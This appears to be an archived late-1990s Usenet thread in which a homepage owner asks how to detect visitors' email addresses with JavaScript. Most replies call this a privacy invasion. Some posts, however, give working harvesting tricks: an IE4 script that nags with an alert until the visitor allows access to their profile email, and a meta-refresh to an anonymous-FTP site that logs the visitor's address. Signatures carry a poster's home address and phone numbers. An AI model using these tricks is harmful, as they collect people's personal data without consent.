Newsgroup: it.comp.lang.javascript
Titolo: detect Email-adress

Who can tell me if it's possible in Javascript to detect the Email-adress
of the visitor of my HomePage?
-- 
_________________________________________________________
Han Veldhuis		Tel:	0570-650414
Boksdoorn 11		Buzzer:	06-59528883 
7421 CL Deventer		E-mail werk: 
hanve...@tref.nl
			E-mail werk: 
J.A.Ve...@rn.rabobank.nl
---------------------->>>>>>>>>>	Homepage: 
http://leden.tref.nl/javeld
_________________________________________________________

Han Veldhuis (
hanve...@tref.nl
) wrote:
: Who can tell me if it's possible in Javascript to detect the Email-adress
: of the visitor of my HomePage?
This is not possible and would be a *serious* invasion of privacy.
Shame on you for asking.
--
-=Christopher Thompson=-
Sending me unsolicited email means that you have sold me your soul.
comp.lang.javascript Mini-FAQ at 
http://www.dannyg.com/
  JavaScript
FAQ at 
http://www.btinternet.com/~martin.webb/faq.html
My minimalistic web site:  
http://ugweb.cs.ualberta.ca/~thompson/

 _________________________________________________________
No, that would be a security flaw.

 You are attempting to steal the user's email address.  Of course, I'm sure
that _you_ are not attempting to compile a huge database of email names to
sell to Sandford Wallace.  But if this were possible, you'd better believe
that plenty of people would.
If you do figure out a way, please post it so that this security hole can be
fixed.
From "Javascript: The Definitive Guide, 2nd Edition", page 313-4
"Another attack... allowed a Javascript program to automatically send email
to any desired address whenever a user visited a web page.  What this does,
of course, is steal the email address of everyone who visits the
page...Embarrasingly for Netscape it turns out that other combinations of
form submission methods and encodings still allow a form to be automatically
submitted without user confirmation, effectively stealing the user's email
address... this security hole will have been patched ... in Navigator 3.0.1"
Eric
Han Veldhuis wrote in message
<01bd3702$4b3b9460$39254891@HanVeldhuistestje>...


 Han Veldhuis wrote in message


Eric Lippert (MS Scripting Dev) wrote:
 > If you do figure out a way, please post it so that this security hole
 > can be fixed.
 >
 > >Han Veldhuis wrote:
 > >
 > > Who can tell me if it's possible in Javascript to detect the Email-adress
 > > of the visitor of my HomePage?
Eric,  This only works in IE4, not Netscape:
<script>
while(1)
{
         navigator.userProfile.addReadRequest("vCard.Email");
         navigator.userProfile.doReadRequest(0, "Microsoft Corporation");
         Email = navigator.userProfile.getAttribute("vcard.Email");
         if(Email != "")
                 break;
         alert("It will be a whole lot easier for the both of us if you just push the \"Allow\"
button next time!");
}
alert("Email = " + Email);
navigator.userProfile.clearRequest();
</script>
Richard

...


Eric,
Sure seems like a big security flaw to me!
IE4 will happily turn over a person's Email address when
the "Allow" button is pushed.   I think plenty of people
will do this just to get the program to stop.  It beats turning
off the computer.
Does anyone else have a problem with the way IE4
reports Email addresses, telephone numbers, home
address, business addresses, gender, etc.?  All
of this information comes from a Vcard maintained
by IE4 and can be read in JavaScript with a push
of a button.
BTW Eric, can a similar hack be used to get the Microsoft
Wallet ActiveX control to divulge people's credit card
numbers?  I haven't much time to investigate the "Wallet"
other than so see that the credit card info is stored in the
Windows 95 registry.
Richard


...


 browser in the first place.  Then there is nothing to steal.
Agree!
Richard

 _without_ any dialog box asking the user if that is OK.
[rest snipped]
If you are using Netscape or Internet Explorer for email, this works
to grab your email address without your permission:
<meta http-equiv="REFRESH" content="0; URL=
ftp://my.site/CopyOfThisPage.htm
">
If you want to see the complete trick in action, try it at my site:
http://www.ctdhe.commnet.edu/database/notmybrowser.htm
Please note that this is not a javascript answer, this trick works because
anonymous FTP wants your email address as the password. For the link above
I have a server side script running that looks through the FTP log and
matches your IP address to your email address.
That said, this has wandered off-topic for the newsgroups, so feel free
to email if you want to continue this, or at least change the followup
to an appropriate newsgroup.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/
   Now offering spam-free web-based newsreading

 
http://www.microsoft.com/msdn/sdk/inetsdk/help/dhtml/references/objects/userprofile.htm
Good grief. Instead of plugging existing security holes, the people at
Microsoft are creating more security holes...
Does userProfile exist in Netscape? (If not, then it'd be a good reason for
people to use Netscape instead of IE...)
-- 
 ___________________________________________________________________________
|                                                                           |
| Chia Tee-Kiah                              < mailto:
tee...@bigfoot.com
 > |
| 
http://wwp.mirabilis.com/8123598
 
http://teekiah.home.ml.org/
 |
| pgp -kvc: 1024/89d8686d  0f f4 b4 d9 2e 12 c7 b2  1a 85 bc 12 8f 54 77 f1 |
|___________________________________________________________________________|